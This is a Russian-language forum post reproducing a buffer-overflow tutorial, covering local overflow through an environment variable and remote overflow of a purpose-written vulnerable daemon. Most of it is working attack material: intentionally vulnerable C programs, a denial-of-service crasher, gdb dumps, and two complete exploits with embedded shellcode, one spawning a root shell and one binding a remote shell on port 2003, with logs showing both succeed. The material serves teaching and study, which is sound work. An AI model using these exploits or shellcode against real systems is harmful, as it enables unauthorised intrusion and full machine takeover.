Показать сообщение отдельно

  #3  
Старый 06.05.2008, 00:04
ZipaCna
Познающий
Регистрация: 29.02.2008
Сообщений: 66
Провел на форуме:
139469

Репутация: 33
По умолчанию

ПЕРЕПОЛНЕНИЕ БУФЕРА ЧЕРЕЗ "ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ".

Я думаю, многие знают, что такое Переменная Окружения. Если нет, то переменные окружения это некие хранилища информации . Они используются для того, чтобы хранить какую либо информацию. Но очень часто при написании больших программ, программисты допускают ошибки переполнения буфера при передачи этих самых данных через эти самые переменные ; -). Давайте рассмотрим пример написания такой программки.

Код:
[========================================CODE#3 env.c=================================]
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
 char *env;
 char buf[100];
 env = getenv("SOMEDATA");
 if ( env == NULL ) { return 0; }
 sprintf(buf, "%s", env);
 return 0;
}
[========================================CODE#3 env.c=================================]
Итак, выше показан пример такой программы, которая берет из переменной окружения "SOMEDATA", с помощью функции getenv(), ее значение и копирует в буфер с использованием функции sprintf(); Синтаксис ее таков:

sprintf(буфер_куда_копировать, формат_копирования, откуда_копировать_данные);

Скажу лишь то, что параметр "формат_копирования", может быть отпущен, но в этом случае возникает другая ошибка программирования. Название ей Ошибки При форматировании Строк. Но об этом читайте в других источниках.

Синтаксис функции getenv() таков:

переменная_куда_копировать _значение = getenv(название_переменной_ок ужения);

Итак, мы рассмотрели пример уязвимой программы. Напишем пример программы, которая покажет нам, как переполняется в этом случае буфер. Но сначала откомпилируйте эту программу.

Код:
[========================================CODE#4 env_dos.c=================================]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buf[1000];

memset(buf, 0x41, 1000);

setenv("SOMEDATA", buf, 1); // присваиваем переменной-окружения значение находящееся в buf.
execl("env", "env", NULL);
}
[========================================CODE#4 env_dos.c=================================]
Ну я думаю Вам все должно быть ясно. Единственное скажу про синтаксис функции setenv().
Он таков:

setenv(имя_переменной_окружен я, значение, значение_перезаписи - 1 да, 0 - нет);

Все.
Откомпилируйте программу.

Код:
[root@localhost boft]# gcc env.c -o env
env.c: In function `main':
env.c:8: warning: assignment makes pointer from integer without a cast
[root@localhost boft]# gcc env_dos.c -o env_dos
[root@localhost boft]# ./env_dos
Segmentation fault (core dumped)
[root@localhost boft]#
Как видно наша уязвимая программа вызвала переполнение. Для того чтобы посмотреть подробности, скажу, что после переполнения в текущей директории должен создаться файл "core". В нем имеется информация о переполнении. Поищите его. Далее его нужно просмотреть через gdb:

Код:
[root@localhost boft]# gdb env -core core.2827
GNU gdb 6.0-2mdk (Mandrake Linux)
<...............>
Core was generated by `AAAA'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb)
Вот. Возглянем на регистр ESP для того чтобы вычеслить адрес возврата на шеллкод.

Код:
(gdb) x/100x $esp
0xbffff1c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff1d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff1e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff1f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff200:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff210:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff220:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff230:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff240:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff250:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff260:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff270:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff280:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff290:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2d0:     0x41414141      0x41414141      0x41414141      0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffff2e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff300:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff310:     0x41414141      0x41414141      0x41414141      0x41414141


(gdb)
Так... Пора писать эксплоит. По сути, он ничем не отличается от предыдушего, только функциями.

Код:
[========================================CODE#5 ex_env.c=================================]
#include <stdio.h>
#include <string.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
long RET;
int i;

char buf[1000];
char *p;
RET = 0xbffff310; // адрес в Вашей системе может быть другой.

p = buf;

memset(buf, 0x41, 1000+1-strlen(shellcode));
sprintf(buf+1000+1-strlen(shellcode), "%s", shellcode);

for ( i = 0; i <= 500; i+= 4 )
*(long*)(p+i) = RET;

setenv("SOMEDATA", buf, 1);
execl("env", "env" , buf, NULL);
}
[========================================CODE#5 ex_env.c=================================]
Ну, я думаю, ничего сложного нет, чтобы разобраться с этим кодом. Скажу лишь то, что т.к. адрес буфера уязвимой программы маленький, я расположил адрес в диапазоне от 0 до 500. Он все равно правильно будет расположен. Так теперь давайте откомпилируем эксплоит и запустим.

Код:
[root@localhost boft]# gcc ex_env.c -o ex_env
[root@localhost boft]# ./ex_env
sh-3.00# exit
exit
[root@localhost boft]#
Вот и все, что требовалось доказать . Переходим к удаленному переполнению буфера.

УДАЛЕННОЕ ПЕРЕПОЛНЕНИЕ БУФЕРА.

Я думаю, многие видели в security рассылках сообщение об очередной ошибке в каком-либо демоне. И в advisory написано, например, что тип атаки является "Удаленным" (Remote). Вначале статьи мы описали принцип локального переполнения. Сейчас я хочу показать Вам пример удаленного переполнения. Мы напишем уязвимый демон. А далее напишем для него эксплоит.
Итак, рассмотрим пример уязвимого сервера.

Код:
[========================================CODE#6 vsrv.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 45
#define NAME_SIZE 2048

int handling_client(int c) {
  char buffer[BUFFER_SIZE], name[NAME_SIZE];
  int bytes;

  read(c, name, strlen(name), 0);
  recv(c, name, sizeof(name), 0);
  sprintf(buffer, name);
  send(c, buffer, strlen(buffer), 0);

return 0;
}

int main(int argc, char *argv[]) {
  int Sock, con, client_size;
  struct sockaddr_in srv, cli;

  if (argc != 2)   {
  	fprintf(stderr, "usage: %s port\n", argv[0]);
   	 return 1;
  }

  Sock = socket(AF_INET, SOCK_STREAM, 0);

  srv.sin_addr.s_addr = INADDR_ANY;
  srv.sin_port = htons( (unsigned short int) atol(argv[1]));
  srv.sin_family = AF_INET;

  bind(Sock, &srv, sizeof(srv));

  listen(Sock, 3);

  for(;;) {
    con = accept(Sock, &cli, &client_size);
    if (handling_client(con) == -1)
    fprintf(stderr, "%s: handling() failed", argv[0]);
    close(con);
  }
  return 0;
}
[========================================CODE#6 vsrv.c=================================]
Итак, выше приведен листинг простенького сервера. Давайте откомпилируем его и попытаемся запустить.

Код:
[root@localhost boft]# gcc vsrv.c -o vsrv
vsrv.c: In function `main':
vsrv.c:35: warning: passing arg 2 of `bind' from incompatible pointer type
vsrv.c:40: warning: passing arg 2 of `accept' from incompatible pointer type
[root@localhost boft]# ./vsrv
usage: ./vsrv port
[root@localhost boft]# ./vsrv 2278
Демон слушает 2278 порт. Попробуем соединиться с этим портом.

Код:
[root@localhost boft]# telnet 127.0.0.1 2278
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.
Работает отлично. Я думаю, Вы уже заметили ошибку переполнения в сервере. Т.е. если серверу передать слишком длинную строку, то он завершится с ошибкой. Давайте рассмотрим пример программу, которую в простонародье принято считать DOS-утилита.

Код:
[========================================CODE#7 vsrv_dos.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{
int i, sock, count;
char buf[4096];
struct sockaddr_in tgt;

if (argc < 3) { printf("usage : dos <ip> <port> <buffer>\n\n");
return 0;
}
count = atoi(argv[3]);
tgt.sin_family = AF_INET;
tgt.sin_port = htons(atoi(argv[2]));
tgt.sin_addr.s_addr = inet_addr(argv[1]);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

for (i = 0; i < count; i++) buf[i] = 'A';
connect(sock, (struct sockaddr *)&tgt, sizeof(tgt));
printf("sending... buf = %s\n", buf);
send(sock, buf, sizeof(buf), 0);
close(sock);
}
[========================================CODE#7 vsrv_dos.c=================================]
Давайте испробуем программу. Не закрывайте сервер.

Код:
[root@localhost boft]# gcc vsrv_dos.c -o dos
[root@localhost boft]# ./dos
usage : dos <ip> <port> <buffer>

[root@localhost boft]# ./dos 127.0.0.1 2278 1000
sending... buf =AAAAA.... <skipped>
[root@localhost boft]#
Взглянем на окно сервера.

Код:
[root@localhost boft]# ./vsrv 2278
Segmentation fault (core dumped)
[root@localhost boft]#
Вот и переполнение! Взглянем на значение регистра ESP.

Код:
[root@localhost boft]# gdb vsrv -core core.3390
GNU gdb 6.0-2mdk (Mandrake Linux)
<skipped>
Core was generated by `AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) x/200x $esp
<skipped>
0xbffff8e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff900:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff910:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff920:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff930:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff940:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff950:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff960:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff970:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff980:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff990:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa40:     0x41414141      0x41414141      0x41414141      0x41414141
<skipped>
(gdb)
Так вот. Произошло настоящее переполнение. Хочу предупредить, что для того чтобы правильно выбрать адрес на шеллкод не стоит брать адреса верхние и нижние. Нужно взять адреса средние.
Настало время написать эксплоит.

Код:
[========================================CODE#8 exp_vsrv.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

static char shellcode[]= // Bind 2003 PORT xCrZx shellcode
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
         "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
         "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
         "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
         "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
         "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
         "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
         "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


#define RET 0xbffff9d0 // mandrake 10.0 OR.

int main(int argc, char *argv[])
{
int s, i, size;
struct sockaddr_in remote;
char buf[1000];
char *p;
if ( argc < 3 ) { printf("usage: %s <ip> <port>\n", argv[0]); exit(0); }
memset(buf, 0x90, 1000-1-strlen(shellcode));
sprintf(buf+1000-1-strlen(shellcode), "%s", shellcode);
p=buf;
for ( i = 0; i <= 500; i += 4 )
*(long*)(p+i) = RET;

s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
remote.sin_addr.s_addr = inet_addr(argv[1]);

connect(s, (struct sockaddr *)&remote, sizeof(remote));
send(s, buf, sizeof(buf),0);
close(s);
}
[========================================CODE#8 exp_vsrv.c=================================]
Давайте протестируем эксплоит.

Код:
[root@localhost boft]# gcc exp_vsrv.c -o exp
[root@localhost boft]# ./exp
usage: ./exp <ip> <port>
[root@localhost boft]# ./exp 127.0.0.1 2278
[root@localhost boft]# telnet 127.0.0.1 2003
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.
Опа... Работает!
Вот в принципе и все. Вообще переполнение удаленное и локальное мало чем отличается.

ЗАКЛЮЧЕНИЕ.

В этом материале я постарался рассказать очень подробно тему переполнения. Я думаю, она очень понятна даже для человека, который вообще не знал об этой уязвимости. В заключении хотелось бы также отметить то, что я разработал утилиту, которая генерирует эксплоит автоматически.
Скачать ее вы можете на сайте http://unl0ck.info. На данный момент это версия 0.3. В будущем планируется добавить новые возможности.

Хотелось бы поблагодарить следующих людей: stine, f00n, nekd0, forsyte, eitr0n, msm, mssunny. Без этих людей жизнь в Сети была бы однообразна.

По поводу каких-либо вопросов пишите на darkeagle@list.ru
http://unl0ck.info

P.S. Все примеры программ в статье Вы можете скачать http://unl0ck.info/boft.tgz



От себя: Об этом должен знать любой кодер =)

Последний раз редактировалось ZipaCna; 06.05.2008 в 11:59..
 
Ответить с цитированием